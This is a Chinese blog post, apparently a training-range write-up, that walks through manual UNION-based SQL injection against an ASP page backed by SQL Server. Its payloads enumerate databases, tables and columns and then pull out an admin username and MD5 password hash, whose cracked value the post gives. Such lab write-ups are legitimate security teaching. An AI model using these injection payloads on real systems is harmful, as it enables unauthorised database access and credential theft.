SQL注入之Sqlserver注入–【SQL注入专题】

  • A+
所属分类:sql注入 web安全
[qgg_pink]之前突然对web安全有了有兴趣,想深入的学习下web安全相关的知识,所以在网上找了一个在线靶场(墨者学院)当练练手了,结果做着做着就停不下来了,积分一下子就刷到了第一,总共130几个靶场环境都基本上做完了,这里也把每个题的所涉及到的知识点分享出来。[/qgg_pink]

实训目标

  • 掌握SQL注入原理;
  • 了解手工注入的方法;
  • 了解Sql Server的数据结构;
  • 了解字符串的MD5加解密;

解题方向

  手工进行SQL注入测试,获取管理密码登录。
 

解题思路

注入url:http://219.153.49.228:42627/new_list.asp?id=2

一、判断是否存在注入

      id=2 and 1=1  //页面无变化
      id=2 and 1=2 //页面报错
 
  ADODB.Field 错误 '80020009'
  BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
  /new_list.asp,行 0
      说明存在数字型注入
 

二、判断字段数

      id=2 order by 4  //页面显示正常
      id=2 order by 5  //页面报错
      说明字段数为4
 

三、判断显示位置

id=-2 union all select 1,2,3,4
       显示报错,应该不是过滤导致的,不可能单单就过滤一个union,况且后面查询当前数据库使用的union也没有过滤,怀疑是对输入的类型做了判断。
这里只能一个个的测试,最后发现,显示位3为字符型导致出错没有正确显示
id=-2 union all select 1,2,'3',4
 

四、判断当前数据库

id=-2 union all select 1,db_name(),'3',4
     当前数据库为:mozhe_db_v2
     这里也可以使用db_name(1)、db_name(2)查询其他数据库
 

五、判断表

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4
      xtype='U' 这句话的意思的 在[表]这个表里搜索 xtype 这个字段的u值的表
      也就是说 xtype字段里的值是u的就会被搜索出来
id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U' and name not in ('manage')),'3',4
      表名为:manage
id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U' and name not in ('manage')),'3',4
     表名:announcement
id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U' and name not in ('manage','announcement')),'3',4
     显示为空,说明之存在两张表
 

六、判断列名

id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
     得出:id
id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4
     得出:username
 
id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4
     得出:password
 
id=-2 union all select 1,(select top 1 col_name(object_id('manage'),4) from sysobjects),'3',4
     得出:空
 
    说明mange表总共有3列,分别为:id、username、password
 

七、得到字段值

id=-2 union all select 1,(select username from manage),'3',4
     得出:admin_mz
id=-2 union all select 1,(select password from manage where username in ('admin_mz')),'3',4
     得出:72e1bfc3f01b7583  MD5解密得到:97285101

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: